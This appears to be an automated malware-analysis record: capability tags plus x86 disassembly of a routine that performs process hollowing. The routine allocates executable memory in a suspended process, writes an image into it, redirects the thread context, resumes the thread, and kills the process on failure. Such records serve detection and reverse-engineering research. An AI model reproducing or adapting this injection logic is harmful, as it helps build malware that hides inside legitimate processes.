Function at 0x4d3114
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff10
push ebx
xor ebx, ebx
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 8], ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040570c
xor eax, eax
push ebp
push 0x4d336f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xffffffff
lea edx, [ebp - 0xf0]
xor eax, eax
call fcn.004034a8
push dword [ebp - 0xf0]
push 0x4d3388
push dword [ebp - 4]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00405620
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0xec]
mov eax, dword [ebp - 8]
call fcn.004d3000
test al, al
je 0x4d3349
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x4d31d3
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jb 0x4d31d3
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtectEx
jmp 0x4d3267
call fcn.004d2e80
test al, al
je 0x4d3267
mov eax, 0x4d3394
call fcn.004d2a90
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004d2f0c
test al, al
je 0x4d3229
mov eax, 0x4d33a0
call fcn.004d2a90
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [0x54df54]
mov dword [ebp - 0x1c], eax
mov eax, 0x4d3394
call fcn.004d2a90
cmp dword [ebp - 0x1c], 0
jne 0x4d3267
mov eax, ebx
call fcn.004d2e8c
test al, al
je 0x4d3267
push 0x40
push 0x3000
mov eax, dword [ebp + 0xc]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [0x54df54]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4d3267
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.004d2ea4
cmp dword [ebp - 0x1c], 0
je 0x4d3325
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x48]
add eax, 8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x1c]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x4d32ff
mov dword [ebp - 0xec], 0x10007
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jne 0x4d32cb
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x3c], eax
jmp 0x4d32d1
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x3c], eax
cmp dword [0x54df58], 0
je 0x4d32eb
lea eax, [ebp - 0xec]
push eax
mov eax, dword [ebp - 0x20]
push eax
call dword [0x54df58]
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x4d3349
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
jmp 0x4d3349
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x20]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d3376
lea eax, [ebp - 0xf0]
call fcn.0040528c
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052b0
ret